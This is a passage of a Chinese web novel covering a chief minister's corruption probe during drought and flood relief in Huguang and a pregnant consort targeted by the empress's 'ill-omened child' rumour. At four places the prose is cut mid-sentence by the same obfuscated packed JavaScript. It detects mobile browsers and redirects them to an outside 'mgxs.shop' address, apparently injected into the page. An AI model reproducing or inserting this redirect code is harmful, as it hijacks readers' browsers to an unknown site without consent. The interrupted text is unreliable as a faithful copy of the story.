“湖广遭旱,粮食、肉、菜蔬都有不足,故而吃食粗糙了些。如今民生艰难,下官与各位同僚都很忧心,也无心请伶人助兴。所有招待不周,还请大人见谅。”直到此时,湖广总督才有了些受灾地区最高长官的样子。 “无妨,你这般是对的。”宋首辅对此毫无不满。 湖广总督大为感动,又命在场官员一杯又一杯地敬酒,宋首辅饭没吃多少,只喝酒都要喝饱了。等到宴会结束,他已经无法自己走路,在京军队长的搀扶下回到自己房间。 进了房间,关上门,宋首辅的眼神瞬间变得清明。屋中有一青年人坐在桌旁,账本已经由他翻了一遍。 “父亲,您还好吗?”他关切地问。 这年轻人是宋首辅的幼子,长于数算,目前任户部郎中。宋首辅此番南下,特意点他与自己同行,伪装成自己的长随。 “无事,账怎么样?” “很干净,全对得上,”宋郎中回答,“但问题就是,太干净了。” 简直就是为了应对他们特意做的账本。 宋首辅沉默。 半晌,宋郎中才说:“希望孟御史那边能有所发现吧。” “我们也不能干等着,该查也得查,”宋首辅说完,脱下外面官服,里面的衣袖早已被酒淋得湿透,“我喝醉了,你让府上仆役送解酒汤来。” 宋郎中领命而去。 同样的夜晚,孟怀安躺在湖广总督治下一个府城外的流民堆里。他一身褴褛,俊逸的脸上特地抹了几把土,隐藏在人群中,思索白天在流民堆里打探出的消息。 明日还是要进城。他下定决心后警惕地闭上眼睛,一旦有风吹草动,他就会立刻醒过来。 这个晚上,沈明珮睡得也很不安稳。 “寒露,什么时辰了?”夜半时分,她突然睁开眼睛,揉了揉饥饿的肚子。 此次有孕,她的反应严重,很多吃食连碰都碰不得,吃了就吐。寒露见状,特地与白菊拍了班,白天白菊候在沈明珮身旁,晚上寒露值夜班,一旦沈明珮有事,她就立刻出现。 “已过了子正了,娘娘可是饿了?”寒露回道,“晚上娘娘也没吃多少东西。” “是饿了,想吃素面。” 寒露立刻跑去小厨房,过了些时候端着一碗素面回来。沈明珮饿狠了,接过碗,吃得干干净净。 寒露见状,面露欣慰:“只要娘娘还有爱吃的东西便好,我们都能做。” 吃饱喝足后,沈明珮又睡下,这次终于睡得安稳了。 天色蒙蒙亮,孟怀安睁开眼睛,从地上爬起来,蹑手蹑脚地走出流民群,走到离府城很远的一座庙旁的大树下。他熟练地拿起放在树旁的铲子,将树下的一片地挖开,拿出一个布包。打开沾满土的布包,里面赫然是一件读书人常穿的襕衫。 孟怀安换上襕衫,翻墙进了寺庙,打了点水洗净脸,而后又翻出去,大摇大摆地走到府城外。此时城门已开,他拿着伪造的路引顺利进入城中。 宋首辅吃过早饭,提出去武昌府下属的各县看看。湖广总督面色僵硬,但还是叫来管家,又通知武昌府知府。武昌府知府亲自带着武昌府同知过来。 “我这下属熟悉武昌府内各县,不若由他带首辅大人视察吧。” “可以。”首辅同意,而后跟着同知出了武昌城。 总督府内,宋郎中愤愤不平地四处闲逛,逢人就聊上几句,言语间尽是不得主家重用的不满,一副郁郁不得志之相。他表现得足够苦,便有些府衙内的仆役同他交谈,一来二去,在他的引 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17176430|192097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 导下,还真说出了些有用的东西。 回到首辅的客院,宋郎中仔细思索,该如何绕开府内层层守卫。正思索着,皇帝安插在京军中的暗卫推门而入。 宋郎中的眼睛亮了。 五天后,湖广总督府后院突然起火。天干物燥,打水也比以前难了很多,等火终于被扑灭时,半个后院已然烧成灰烬。 湖广总督心一直高悬着,这份不安在得知暗室被烧、信件账本不翼而飞后彻底证实。 “给本官搜!”他不再顾忌宋首辅,派府卫搜查宋首辅一行人,发现果然少了一个长随和两个卫兵。 但这队京军也不是吃素的。为首的队长是上任武举的武状元,年纪轻轻已是千户,他带来的兵也是他亲自训练出来的,俱是他手下的精锐。首辅当日只带了三个士兵离开,就是为了让他在关键时刻拖出湖广总督,现在他怎么能掉链子?一队京军,愣是把湖广总督府内所有府卫都拖住了,这位千户甚至还控制了湖广总督。 天亮时,一切已经结束。总督落在对方手里,府卫纷纷缴械投降,被成串捆好,投入总督府地牢中。京军随后控制住湖广总督家眷,湖广总督不得不伪装成无事发生的模样应付其他官员。 宋郎中拿着信件和账本一路疾行,天没亮就找到父亲,此时宋首辅已经将武昌府同知控制。父子两个走到约定的地方,当天傍晚见到了孟怀安。 三人带护卫和武昌府同知返回武昌城,武昌府知府竟率领下属官员亲自迎接,未察觉城中已变天。 看着站在武昌府知府身旁的千户,宋首辅一声令下:“拿下!” 千户抬手制住知府,而后埋伏在四周的京军将这群官员包围,直接把武昌城内的官员包了饺子。 湖广总兵这才姗姗来迟。他一介内陆地区的武官,没有战争之忧,手头也没有多少常驻兵力,在湖广官场上向来是被边缘化的存在。这份边缘化此时恰好救了他——他并未参与其中。 他很有眼色地暂时交出指挥权,在宋首辅的指示下率兵捉拿湖广境内各犯事官员。有军队的协助,涉事官员和相应证据很快都被带到了武昌城。 到了此时,宋首辅一行人也该回京了。 “宋大人此行路远,又押着如此多罪人,在下恐有不便。不若宋大人再带一队湖广军作为护卫吧。”湖广总兵立刻提议。 “有劳了。”宋首辅欣然应允。 湖广总兵显然早有准备,一队胡广军立刻集结完毕,出现在宋首辅面前。军容整齐、武器精良,乍一看,这支队伍竟还有些战斗力。 宋首辅心中点头。 一队人浩浩荡荡北上,直奔京城而去。途经之地官员早有耳闻,全部予以通行,一队人竟以极快的速度回到京城。 到达京城时已是傍晚,孟怀安、顺天府军千户与宋郎中将犯官送至刑部大牢,宋首辅径直入宫向皇帝汇报。 第二天早朝,宋首辅率先出列发言,在百官面前叙述此行见闻。 同样是这天早上,宫妃请安时,沈明珮没有抗住孕期反应,直接吐在了坤宁宫中。 53. 雨来 “娘娘恕罪,妾实在不适,没有忍住。妾会赔偿坤宁宫的损失的!”沈明珮吐完后立刻请罪。 “本就是身体不适,怎能算有罪,贤妃不必这般。坤宁宫修缮也不必你赔偿,你不必担心。倒是你现在吐完,可还难受?” 皇后一脸关切,心中却像吃了苍蝇一般恶心。她无法向沈明珮问罪,不仅因为沈明珮是因为怀孕身体不适才呕吐,更是因为她亲手把问罪的资格扔了出去。 沈明珮早就因孕反应严重向她请假,请求暂免请安,她当时想都不想就拒绝了。现在沈明珮真因为孕反应吐在她宫里,她还能说什么? 她只能示意晴兰,在沈明珮吐完后给她递一杯水漱口。 “多谢娘娘,妾现在好多了。”漱口之后,沈明珮脸色也缓过来一些。 “无事就好,贤妃你既然身体这般不适,请安就先免了吧。你休息好后,若是想走,也可以随时离开。”皇后好像真的很关心沈明珮一般。 “多谢娘娘。”沈明珮行礼道谢,却没有早退,而是坚持到请安结束才同其他人一起离开。 这时,皇极殿上,皇帝已宣布对湖广涉事官员的惩罚。湖广总督、湖北湖南转运使、武昌府知府、武昌府同知、其余涉事知府、知州、知县,斩首;湖广副总督、湖北湖南巡抚、湖北湖南按察使、涉事府、州、县副官,流放;其余参与较浅的,罢官,未参与但失察或视而不见的,虽然留任,但也有各种处罚。 湖广官场一下子空了一半,为了维持救灾的正常运转,皇帝又派以次辅为首的十名官员赶赴湖广,旱灾结束后方能归来。 皇帝亲自下旨,省了三司会审,为了尽可能震慑其他灾区官员,涉事官员全部从速行刑。京城菜市口很快又落了一堆人头。 也许是否极泰来,沈明珮当天在坤宁宫吐完后,孕吐开始逐渐减轻,过了半个月后基本消失。之前不能吃的那些东西又可以重新出现在餐桌上,寒露和白菊也结束了轮班。 “娘娘,要不要找云太医看看?”寒露向沈明珮提议。 “可以,”沈明珮点点头,“你去请吧。” 此时并非每月请平安脉的日子,但云太医一听寒露的要求就立刻跟她去了长春宫。他把手指搭在沈明珮脉上,沉吟片刻。 “娘娘一切安好。呕吐感既已逐渐淡化至消失,应当不会再复发。若再有不适,娘娘可随时叫臣来。” “有劳大人了,”沈明珮面露微笑,温声问云太医,“本宫有一个请求,不知云太医可否做到?” 云太医感觉背后忽有一阵冷风吹过,莫名打了个寒颤。 “娘娘请说。”他垂头道。 “其实也不是什么大事,大人也知道,本宫这个名叫寒露的宫女曾经学过些医术,”沈明珮语气轻松,就像唠家常一样,“进了宫之后她就没了继续学习的机会,但她也不想就这么把医术放下。不知大人可愿屈尊,做她的老师?” 寒露顿时又惊又喜,费了好大力气才没让自己失态。 云太医也面露惊讶。 “臣固然愿意为寒露姑娘解惑,”他思考片刻后说,“只是宫人不得长时间呆在太医院中,臣该如何教授寒露姑娘呢?” 沈明珮显然已胸有成竹:“本宫孕反应好转之事,大人先不要外传。自今日起,大人每过两日便以请脉为名来我长春宫一趟,教导寒露,大人看如何?” 沈明珮已经说这么细了,云太医能如何?况且他就是靠着沈明珮才在太医院崭露头角的,太医院院判、副院判给他分派任务时也必然会考虑沈明珮的需求。 “臣听娘娘安排。”他说。 “如此甚好,”沈明珮很满意,“不若今日大人便看看寒露已经学到什么程度了吧。” “是。”云太医立刻带着寒露退下。 云太医这一考察,就考察了一个半时辰。他搞清楚寒露的学习进度后,过来向沈明珮辞行。 沈明珮状似不经意地问他:“你弟弟在京师书院学了这么久了,课业如何?” “拖娘娘的福,舍弟已考上秀才。”云太医立刻回答。 “不错。”沈明珮点点头,结束了话题。 云太医离开后,寒露悄悄凑过来。 “怎么样?”沈明珮问他。 “云太医学识渊博,奴婢远不如他,定会学到不少东西,”寒露很兴奋,“多谢娘娘为奴婢找了这样一个老师!等奴婢学成以后,定能更好地辅助娘娘!” 沈明珮笑着道:“那你可要好好学啊。” 次辅一行人到达武昌时,原湖广总督等人已经人头落地。他到武昌第一件事就是将当地幸存的官员全部喊来,公开诵读皇帝的判决圣旨。 “罪大恶极者已伏诛,其余罪人也已得到应有的惩罚,陛下希望尔等能引以为戒,全力赈灾,”放下圣旨,次辅补充道,“本官既得了任务,带领诸位一同挺过旱灾,便定会竭尽全力,让湖广回到往日。望诸位同仁也能与本官勠力同心,精诚合作,共同完成陛下的任务。” 说罢,他将皇帝派出来的官员安插进总督府、巡抚府以及其他主官被斩首、流放的府衙,而后进了总督府,立刻开始工作。 有皇帝的杀鸡儆猴在前,留在湖广的这些官员又是本来就没有参与贪墨的,相对而言老实本分,次辅的工作推进得非常顺利。收缴的赈灾钱粮快速发给百姓,各地官员想办法引水打井保证民众的基本生活,流民也尽可能得到妥善安置。 一切都在走向正轨的同时,天气也不再那么干旱了。 一开始,连续多日万里无云的天上开始出现云。云层既不厚也不密,稀稀拉拉地飘在天上,若不是有意看天根本察觉不到它的存在。而后云开始成形,一般意义上的云朵出现在天上,在外的官民发现热极累极时可以找到休息的地方了。 再后来,一天午后,吃过午饭的首辅在总督府后院散步,走着走着突然感觉自己被雨点砸了一下。他抬起头,看见天空中有一层丝巾般的低云,在这层云的笼罩下,细小的雨滴落在地上。 这是一阵很短的毛毛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17186387|192097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雨,但对于遭受了一整个春天的大旱的湖广来说无疑是福音。甚至有街上行人兴奋地手舞足蹈。 下雨的不只有武昌城。辖区落雨的官员纷纷将此事报与次辅,但次辅只暂时压下,静观后续变化。 天公终究是作美的。有了这场毛毛雨后,天空中云层渐密,雨也逐渐多起来,一整个春天的大旱终于解除了。有了雨水,农人们立刻种上粮食,希望这一年还能有基本的收成。 至此,次辅终于将在湖广的工作写成折子送至京城,并请示皇帝能否返京,何时能够返京。 皇帝这几日心情很不错。次辅与两江总督同时上折子禀报干旱结束,派至两地的锦衣卫也证实两处救灾工作再无阳奉阴违、暗中贪墨之举。面对着次辅这封八百里加急的密折,皇帝大手一挥,朱笔一批,就允了他回京的请求。 皇帝的回复又八百里加急地送到了武昌,与之一起下达的还有湖广本地官员的升迁圣旨。接到回复后,早已收拾好行李的次辅带着其余官员,在湖广官民的感谢中踏上返京的路途。 一行人也是以最快的速度返京,也是一进京城次辅就直接入了宫。与首辅不同的是,次辅带回来的都是让皇帝高兴的消息。 长春宫内,寒露又一次送别了云太医。云太医是个严厉的老师,给寒露布置的课业很多,若寒露没有完成任务,他也会批评。但他无疑也是个非常优秀的老师,在他的教导下,寒露原本野路子式的医学知识逐渐系统化。 “今天怎么样?”她送完云太医回来,沈明珮就问她的学习情况。 “比之前有进步,错得少了。”云太医每堂课都有考试,寒露一开始也吃了不少苦头。 “有进步就好。”沈明珮很满意。 为了保证寒露的学习质量,她已经免去了寒露绝大部分的活计,分摊给其他人。正因为如此,寒露学得尤为卖力,生怕别人到最后白白分担了她的工作。 但是有些活儿还是得有她来做。 “伯府递的信到了,你去接一下。”沈明珮命令她。 寒露领命而去,过一会儿带着信回来。 沈明珮接过信。这种经过正规手段送进宫的信都会被皇帝的人先看一遍,有时皇后还要再看一遍,才会送到宫妃手里。寒露递过来的这封信自然也是开了封的。 但沈明珮和刘芸有专门的传讯手段,皇帝皇后的人都看不出信中的门道。寒露已经退下,她回到寝屋,展开信,拿起纸笔写写画画,转译出信上真正要表达的内容。 “真是好命。”她冷笑道。 信上说的人是沈思远。秋霜接到信,真派了一队人去金陵,以谈生意的名义打探金陵城中消息,这队人也确实打探出了点内容。 沈思远脑子很清醒,救灾钱粮分毫未贪,也严格约束手下。正因如此,湖广官场遭到清洗时,两江安然无恙。但他确实也被旱灾搞得焦头烂额,曾找医师为他治疗头疾。此外,江南省右布政使在赈灾中表现突出。 如今旱灾已过,两江官员已平稳落地。 54. 水灾 几乎所有人都以为灾害已经远去,迟来的雨水能保住今年最基本的收成。 雨水确实如他们所愿,浸润了干到结块的土地,让作物得以生长。但到了这时,湖广和两江的人们惊恐地发现,雨下起来就不停了。 “这到底是怎么回事?”新上任的湖广总督看着阴沉沉的天,心中绝望。 “大人,我们该怎么办?”跟在他身后的师爷无措地问他。 “怎么办?给陛下上折子啊!”湖广总督说着大步流星地走回书房,拿起笔就开始写折子,让传信人以最快速度将折子送至京城。 皇帝的好心情没几天就过去了。两江总督与湖广总督不约而同地上折子反映雨水连绵不绝,恐有再次成灾之势,河南巡抚、山东巡抚与直隶总督又纷纷上书,说往年早该来的雨现在还没有来,若继续下去,可能会生旱灾。 皇帝读着读着,真的很想把这些折子都撕了。 “让钦天监监正过来!”他命令赵德光。 钦天监内,钦天监监正看着桌上堆成一摞又一摞的资料,无比发愁。在众人都以为灾害已经过去时,他凭自己所学,生出一种不良的预感。而后他查遍历史资料,印证了他的预感并非子虚乌有。 他焦急地来回踱步,想着该怎么写打碎皇帝喜悦又不被皇帝惩罚的折子,就见赵德光进了钦天监。 “监正大人,陛下请您走一趟。” 他想,自己应该不用费劲想折子要怎么写了。 钦天监监正在乾清宫呆了一个时辰。走出乾清宫时,他双眼呆滞无神,双腿发软,有其他要面圣的官员向他打招呼,他回应时的嗓音也又干又哑。 回到钦天监,他什么也没做,先趴在桌子上睡了一觉。 皇帝的回复很快下达,上书的五地最高长官都得到“继续观望,若有不对立刻上报”的命令。 收到皇帝回复后,湖广总督恨不得立刻就上报。在等待皇帝命令的这段时间,湖广各地依然阴雨连天,一个月前还干涸的河道现在水位已经直逼堤岸。 种到地里的秧苗已经开始死了,但在层层上涨的水位前,沿河沿湖的官民已经顾不上秧苗,日以继夜地加固、抬高堤岸,只求水不要漫过来。 最终他们还是事与愿违了。 最先告急的不是两江,也不是湖广,而是闽浙总督治下的杭州府。 前朝后期,台湾府曾被尼德兰占领,直到大齐建立后才得以收回。为吸取前朝教训,太祖将闽浙总督府设在福州,一旦台湾府再出差错,可以迅速做出反应。富庶的杭州就不再是重点管理地区。 自入春以来,两江和湖广遭的灾杭州一个都没落下,并且因为总督不够重视,杭州府并没有得到足够的援助。用尽全部力气撑过旱灾后,面对连绵不断越下越大的雨,他们到底还是撑不住了。 水漫过江堤湖堤,钱塘江沿岸地区均成一片泽国,杭州城也出现内涝。忍无可忍的浙江巡抚一面去信福州,一面给皇帝递折子。 杭州的传信官走在回京路上时,扬子江、汉江先后冲破江堤,水灾无可避免地走向最严重的方向。 乾清宫内,皇帝悬着的心在接到三封折子后彻底死了。他捂着隐隐作痛的额头,让赵德光将五位阁老和户部、工部两部尚书叫进乾清宫。 人一到齐,皇帝便问户部尚书:“国库还有多少银子?” 答案自然不可能好看。湖广、两江刚经过旱灾,国库哪里还能剩下银子。 皇帝脸色更差了:“两江、湖广和浙江又遭水灾,扬子江、汉江、钱塘江都已决口。各位爱卿可有什么想法?” 他把三份折子递过去,看完后脸色差的顿时变成七位大臣。他们也不可能立刻想出办法啊? 半晌,还是宋首辅先说:“陛下,臣以为,还是应该先确认雨会不会继续下下去。” “宋爱卿言之有理,赵德光,”皇帝又命令道,“去把钦天监监正叫来。” 可怜钦天监监正一个五品官,一进乾清宫就看见一群一品二品大员,吓得差点绊倒在地。 “湖广两江等地的雨还会下下去吗?”皇帝免了他的行礼,直接问他。 谈到专业问题,监正一脸正色:“臣认为还会继续下下去。至于雨何时才停,臣也不好说,最坏情况下可能一直下到秋天。若真如此,中原就要旱一个夏天了。” 在场之人闻言,面色更加凝重。 半晌,皇帝才说:“朕欲派出两名阁老,一人领一队,分赴两江与湖广,去两江那队同时支援浙江。救灾银钱若有不足,一律走朕的私库,你们户部统筹好。工部准备好随队官员,赴灾区治理水患。” “陛下,”宋首辅补充道,“大灾之后常有大疫,最好也派太医随队。” “好,朕知道了。赈灾二队,若有需求,尽可向朕提,只要你们能减轻灾害损失,安抚民众,朕会全力满足。留守在京的各位也要全力配合灾区官员。若有人玩忽职守、渎职贪污……上任湖广总督尸骨未寒,朕想应该不会有人敢这么做吧?” 宋首辅代表在场所有人保证:“请陛下放心,臣等必尽心职守,竭尽全力。” 又是一阵商讨后,八位大臣离开,而皇帝还要继续工作。他思考了一整晚,终于敲定两队名单。刚躺下不到半个时辰,就到了该起床上早朝的时间。 他盯着眼底的青黑走到皇极殿。 早朝上,皇帝公布了两队名单。两队都是由阁老带队,队内有户部、工部官员和监察御史,还各有两位太医跟随、一位顺天府军千户带队护卫。去往两江的一队因为还要兼顾浙江,人数稍多。 此外,为推行节俭,皇帝公开声明自己到灾害结束为止吃穿用度减半。朝臣们大为感动,纷纷表示愿暂时减少一半俸禄,以助灾区。 当然,眼下这些官员靠本来的俸禄也养不起全家,他们真正的收入是田产和铺子。但这无疑是一种表态,是对皇帝放出信号的回应。 早朝结束后,皇后当即效仿皇帝, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200207|192097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以她自己为首,后宫所有嫔妃、皇子、公主用度减半,女官、宫女、太监俸禄降低两成,直至天灾结束。 这对身在高位的妃嫔而言不算什么大事,她们本身俸禄就高,大多数出身也显赫,怎么都不会没钱花。但低位妃嫔就不一样了。她们俸禄低,不减半花得也很紧张,有些宫妃出身低,家里也没有支援,这么一减半,会过得很艰难。 但是大灾当前,哪容得了她们反对皇后? 沈明珮在早朝当天就得到了两队官员的名单,身为工部员外郎的孔诚正在赴湖广官员之列,之前在湖广探查有功的孟怀安再一次被派往湖广。这段时间一直以为她诊脉为名教导寒露的云太医不在名单中。 “不去两江就好,”沈明珮说着将写着名单的纸条烧尽,“孔大人确实年纪大了些,若是能抓住此次机会,以后升迁也能快点。” 勇毅伯府内,刘芸思考良久,还是让管家买了些常用药物,打成一个小包,趁着夜色翻墙送到孔诚手里。 “请你们老夫人放心,我不会让自己折在湖广的。”孔诚没有推辞,接过药包。 第二天城门刚开,集结好的两队人马就离开京城,直奔灾区而去。 等两队人到达武昌和金陵时,洪涝已经非常严重。众人本就是一路疾行,舟车劳顿后一下马车就要趟在水里,有年长的官员腿已经不稳。赴两江赈灾的带队阁老险些摔在水里,还是护卫的千户眼疾手快才把他扶住。 对两地官员来说,京中派人前来就是天大的好事,湖广总督与两江总督均亲自带人前来迎接。 湖广总督看他们就像看救星一样,拉着为首的阁老就把他们带进了总督府。进了总督府,他甚至没让仆役引诸位官员去早已收拾好的房间,就带他们去二堂议事。这一议就是大半天过去。到晚上,湖广总督没有设接风宴,只派人将吃食送到各人屋中。因为长期的灾情,吃食相当简朴,进入武昌的众人也无异议。 金陵城内却是另一番局面。两江总督也是把京城来的人领进总督府,但却先让仆役将众人领到自己的房间。不同品级的人布置的房间也不一样,带队的阁老竟然分到了一个客院。金陵城的内涝没有影响到总督府,总督府的高墙挡住了积水,门前堆着的沙袋也阻挡着积水灌向府中。 官员们舒舒服服休息了一下午,当天晚上两江总督居然还给他们办了一场接风宴。到此时,带队阁老的脸色已经有些不好看了,只是碍于总督打着欢迎他们的名头才没有发作。 宴席结束,阁老直接叫了几个人,让他们收拾好行装,明日一早就去杭州。随后他又找上率领护卫队的千户。 “你派几个手下乔装成从江南省其他府投奔亲戚来的百姓,好好打听一下金陵自入春以来的情况。” 他总觉得这个沈思远有水分。 不过沈思远也没有太过分,接风宴后和湖广总督一样请阁老一行人共议灾情,千户派出去的人也没打探出任何有损救灾的迹象,此事最终不了了之。 55. 谣言 “娘娘,好些了吗?” 长春宫内,寒露接过药碗,又递给沈明珮一个蜜饯。 沈明珮接过蜜饯,迫不及待地将它扔进嘴里疯狂咀嚼,蜜饯中的糖分才驱赶了遍布口腔的苦味。 “才刚喝药,哪有这么快就能好的,”她咽下蜜饯,猛灌了一大口水,回道,“又不是神药。” 皇后下令宫中用度减半,首当其冲的就是冰鉴。中原干旱,皇后在调度采买物资时以此为由直接将冰鉴砍了九成。 夏天缺少冰鉴,长期养尊处优的宫妃们根本受不了,沈明珮一个孕妇更是无比难受。但是天灾在前,谁敢反对皇后?只能自己默默忍受。 沈明珮的孕反应再次严重,动辄便要请云太医过来,而后就是一碗又一碗的汤药。宫中用度削减,糖也逃不掉,各种零食的供应同样减少,其中自然也包括蜜饯,沈明珮现在喝药不缺蜜饯还是因为她平时不吃,攒下了一些这种不易坏的吃食。 “蜜饯剩得不多了,等吃完之后再喝药可怎么办啊?”寒露发愁。 “多喝点水?多漱漱口?”沈明珮也没什么好办法,谁让各宫的小厨房都暂时被取缔了呢。 寒露叹了口气,小声抱怨:“皇后娘娘真不是故意的吗?” “慎言,”沈明珮一个眼神扫过去,板起脸提醒她,“不论皇后是不是故意的,她都占着大义,若是质疑她,理亏的只会是我们。这种话你不能再说了。” 寒露闷闷点头。 天气持续干热,终于有低位妃子扛不住中了暑。她的心腹宫女去求皇帝,磨破了嘴皮子也没能踏进乾清宫一步。反而是皇后以此为由狠狠处罚了这个宫女,这位妃子醒来之后发现自己心腹宫女被换掉,险些再次晕过去。 长时间的北旱难涝之下,民间也开始出现一些不和谐的声音。 皇帝看完锦衣卫的密报,气得把它扔到地上。密报上赫然写着,民间有人流传,南方大灾是因为上位者失德。 皇帝生了一会儿闷气,才喊赵德光把密报递给他。赵德光捡起密报时无意间扫到上面的字,面露骇然。一抬头,他又发现皇帝面色不善地盯着他。 他直接就给皇帝跪下了。 “你不会说不该说的,是吧?”皇帝声音凉嗖嗖的。 “是,是,陛下放心。”赵德光连连磕头。 “起来吧。” 皇帝终于放过他,他爬起来,将密报双手递给皇帝。 回到自己站岗的地方,赵德光发现,自己的后背已经被汗水打湿。 皇帝虽然立刻下令禁绝此言,但该有的传播还是抵不住,至少出身不错的宫妃们该知道的不该知道的都知道了。 沈明珮听过后,一声哂笑便抛在脑后。而皇后却拄着下巴陷入沉思。 当天晚上,一封从宫里发出的密信送到了右都御史府。 再次请云太医诊脉时,临走前,云太医突然问沈明珮:“娘娘可有听说近日的传言?” “什么传言?”沈明珮不知。 “近日有人传说,两江、湖广先旱后涝是因为宫中有人孕育灾星。” 这话就是在指名道姓,宫里目前有孕的除了沈明珮还有谁? 云太医看沈明珮脸色难看到极点,不敢再呆在长春宫,落荒而逃。见他小跑着离开长春宫,沈明珮将桌上招待他的茶杯狠狠砸在地上。 一套上等的青花瓷茶具,就此再不成套。 “娘娘息怒,”寒露忙过来收拾碎片,“您还怀着孩子,不能动气。” “我怎么可能不气!”沈明珮说完,只觉胸口沉闷,一阵上不来气。 寒露察觉不对,放下手中活计,轻拍她的后背,她才在急促的呼吸中唤回意识。 “娘娘没事了?”寒露见沈明珮好转,收了拍她后背的手。 “没事了,”沈明珮站起来,“我去乾清宫一趟,你管好宫人,若是两刻后我还没回来,你就回勇毅伯府。” 说完,不等寒露反应,她就快步离开长春宫。 “娘娘,娘娘您慢点——”寒露急得在后面喊。 沈明珮甩掉寒露的大喊,一路疾走到乾清宫,一言不发直接跪倒在宫门前。守门的太监看见她挺着大肚子跪在地上,吓得三魂去了七魄,连滚带爬地跑向乾清宫正殿。 正殿内,皇帝正在看来自两江的密折,就见守宫门的太监跑进来。 “谁让你进来的?”他面露不悦。 太监立刻双膝跪地:“陛下,贤妃娘娘现在在宫门外跪着!” “什么?”皇帝“啪”的一声,将朱笔摁在桌上,“她不好好养胎,跑这儿跪着干什么?让她回去。” 太监面露难色:“陛下,奴婢看贤妃娘娘的架势,恐怕不会轻易回去。” “算了,让她进来吧。”皇帝烦躁地把密折推到一边。 沈明珮一进乾清宫正殿,就跪倒在地:“求陛下为妾做主?” 皇帝本已准备好的斥责被噎了回去:“这是怎么了?” “陛下,今天云太医为妾诊脉,妾才知道,有人想让妾和妾肚子里的孩子死啊!”沈明珮声泪俱下,“妾不过一届妃妾,肚子里的孩子也还未成形,如何就能影响到大齐的天气,让湖广与两江先旱后涝了?” 再见类似的流言,皇帝也面露正色:“你把事情说明白。” 沈明珮立刻从头到尾说了一遍,末了,顶着皇帝不太好看的脸色补充:“陛下是圣明之君,宫中怎么可能会有妖孽?编出这等谣言的人是何居心,妾实在是不敢想!” “陛下确实是圣明之君,但不代表宫中就没有心怀叵测之人,”沈明珮话说完,皇后的话就从门外传进来,“总有宵小之徒妄图蒙蔽陛下,现在乾清宫里不就有一个吗?” 乾清宫内眼下有三个主子,皇帝、皇后、沈明珮,皇后说的自然是沈明珮。 “皇后怎么也来了?”皇帝顿觉头痛。 “妾身若是再不来,陛下恐怕就要被妖孽迷惑过去了!”皇后上来便是惊人之语,原本战战兢兢跟在她身后的守门太监更是恨不得原地找条缝钻进去消失。 “皇后娘娘张口闭口就是妖孽,是要逼妾去死吗?”沈明珮愤怒地看向皇后,“娘娘贵为皇后,又有夏家和定国公府做后盾,实在看不惯妾大可以直接将妾打杀了,用这种手段给妾泼脏水,是不是太狠辣了些?” 皇后不理沈明珮,只向皇帝行了个礼,不疾不徐道:“妾无诏入乾清宫,还请陛下恕罪。但妾昨夜做了个噩梦,梦见一条通体黑色的孽龙翻涌江水,水漫过中原,一直漫到京城,最终吞没了皇宫。妾身惊醒后就一直心神不定,思来想去觉得还是应该将此事上报陛下,请陛下裁夺。” “你是说,贤妃腹中的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17208933|192097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皇嗣就是孽龙?”皇帝问她。 “妾身认为是,”皇后一脸肯定,“如今宫中只有贤妃有孕,能与妾身的梦对上的除了贤妃腹中皇嗣再无别人。况且,正如流言所说,大齐往年都无大灾,偏偏今年又是旱灾又是水灾,这确实不同寻常,若是确实有妖孽将生,此番灾难就也有了源头。陛下,鬼神之事本就变幻莫测,事关大齐社稷,还是要宁可信其有,不可信其无啊。” 冤枉你的人比你更知道你有多冤。这流言本就是皇后命人炮制,自然抓准了沈明珮的痛处。她与皇帝相伴多年,也清楚皇帝的脾性,此番言论更是迎合并引导皇帝的心思。 一个皇帝,绝不可能容忍他的龙椅有丝毫不稳的可能,皇后笃定这次定能将沈明珮除掉。 沈明珮也知道,但她不能坐以待毙。 “皇后娘娘如何就能肯定妾腹中的孩子就是龙子?先前云太医曾对妾说,妾腹中的孩子是公主的概率更大。” 